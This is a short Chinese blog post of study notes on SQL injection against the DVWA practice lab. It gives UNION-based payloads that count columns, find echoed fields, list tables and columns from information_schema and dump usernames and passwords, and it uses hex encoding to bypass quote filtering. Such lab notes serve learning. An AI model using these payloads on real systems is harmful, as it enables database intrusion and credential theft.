sql注入遇到的一些问题

一、字符型注入的思想是闭合引号:
select 1,2 from tables where id=‘ID’
ID: ’ or 1=1’’ or 1=1#’ or 1=1–
步骤:
1、先判断当前表的字段数
’ order by 1(2,3,4,5…) #,直到出现错误,说明只有几个字段
2、知道了字段数之后,测试哪几个字段可以回显,比如有3个字段,那么
’ union select 1,2,3 #
比如1和3能显示,说明第一列和第三列的字段可以回显
3、利用数据库的函数显示需要的信息

 1. ' union select user(),2,database()#  回显当前用户信息和数据库信息
 2. ' union select table_name,2,3 from information_schema.tables where table_schema='数据库名' #回显当前数据库中的所有表名
 3. ' union select column_name,2,3 from information_schema.columns where table_name=表名' # 回显当前表中的字段名
 4. ‘ union select user,password from users # 回显账号、密码

二、数字型注入直接order by操作
select 1,2 from tables where id=ID order by 3
执行优先级:
1、from
2、where
3、select
4、order by (虽然没有select 3,但是依然可以按照3来排序)
1 union select table_name,2 from information_schema.tables where table_schema=database(); 这里是函数database(),DVWA中级别会屏蔽 ’ ,最好直接用函数 也可以用十六进制,比如user的十六进制为0x7573657273

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值